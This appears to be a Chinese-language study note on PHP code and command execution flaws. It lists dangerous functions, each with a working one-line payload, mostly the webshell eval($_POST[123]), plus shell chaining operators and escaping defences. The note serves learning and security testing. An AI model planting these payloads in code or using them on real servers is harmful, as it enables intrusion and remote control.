代码执行

代码执行:未严格过滤用户输入的参数,导致用户可以通过传参在web服务器上执行恶意代码.
可变函数:一个变量名后面如果有圆括号,php将寻找与变量值同名的函数并尝试执行.

eval

eval:将一个字符串作为php代码执行.

paylaod:eval($_POST[123]);

eval是一个语言构造器,不是函数,所以不能当可变函数.

assert()

assert():执行一个有返回值的php表达式

payload:assert($_POST[123]);

assert()是一个函数,可以使用可变函数调用.
注意:php7.2后,assert也同eval,是语言构造器而不是函数.

call_user_func()和call_user_func_array()

call_user_func():把第一个参数作为回调函数使用,其余参数是回调函数参数.

payload:call_user_func('assert','eval($_POST[123])');

call_user_func_array():把第一个参数作为回调函数使用,第二个数组类型参数作为回调函数参数.

payload:call_user_func_array('assert',['eval($_POST[123])']);

array_map()

array_map():为数组的每一个元素应用回调函数.第一个参数是回调函数,第二个参数是数组.

payload:array_map('assert',['eval($_POST[123])']);

array_filter()

array_filter():使用回调函数过滤数组中的元素.第一个参数是数组,第二个参数是回调函数.

payload:array_filter(['eval($_POST[123])'],'assert');

array_reduce()

array_reduce():用回调函数迭代的将数组化为单一的值.第一个参数是数组,第二个参数是回调函数.

payload:array_reduce([1,2],'assert','phpinfo()');

create_function()

create_function():创建一个匿名函数,第一个参数为函数参数,第二个参数为函数代码块内容,返回值为函数名.

payload:$a=create_function('','eval($_POST[123]);');  echo $a();

注意:该函数在php7.2被弃用,在php8.0被移除.

usort()和uasort()

usort():使用用户自定义的比较函数对数组中的值排序.

payload:$arr=[1,'eval($_POST[123])']; usort($arr,'assert');

uasort()完全同usort().

preg_replace()

preg_replace():基于正则,将匹配到的字符串替换为指定的字符串并返回完整字符串.
正则模式修饰符e:将字符串作为代码执行.
perg_replace()模式使用了e模式,此时开启代码执行的模式,要求php版本<=5.6

命令执行

命令执行:未严格过滤用户输入的参数,导致用户可以通过传参在服务器终端执行系统命令.
相当于是在命令行终端下执行系统命令.

system()

system(whoami); 引号加不加都行,默认是command类型参数.

passthru()

完全同system()

exec()

默认没有回显,需要手动加上echo.而且只会回显出一行结果,因此常用第二个数组参数接收多行结果.

payload:$arr=[]; echo exec(ipconfig,$arr); var_dump($arr);

shell_exec()

默认没有回显,需要手动加上echo,可以输出多行结果.

payload:echo shell_exec(ipconfig);

反引号``

反引号内的代码被当做系统命令执行,默认没有回显.

payload:echo `ipconfig`;

popen()

popen():打开一个指向进程的管道,该进程由派生给定的command命令执行而产生.

payload:$fp=popen(whoami,'r'); while(!feof($fp)){$content.=fgetss($fp);} echo $content;

proc_open()

proc_open():执行一个命令,并打开一个io文件指针.类似popen(),但更复杂.

命令连接符

在命令行执行命令同样有类似代码中的逻辑操作.
&& 先运行左边命令,成功后再运行右边命令. 逻辑短路
|| 左边命令结果为false才执行右边命令. 逻辑短路
& 无论左边命令能否执行成功,右边命令均执行. 两个命令是同时执行的.
| 先运行左边命令,成功后再运行右边命令,同&&. |是管道符,左边的结果作为右边的参数,所以要求左边必须正确执行.
在URL地址栏进行命令执行时,注意&要用URL编码.

防御命令执行

escapeshellarg()

escapeshellarg():在字符串两端加上引号,并去掉字符串内的引号
常用过滤方法:

escapeshellarg($_GET['cmd']);   

此时$_GET[]传递的命令就会返回一个命令字符串而不是直接执行.
但是这个函数在代码中通常可以用命令连接符绕过.
escapeshellcmd()
escapashellcmd():将所有特殊字符用^转义.
这两个函数配合使用反而容易出问题.而且不同的操作系统,不同的浏览器处理结果也不太一样.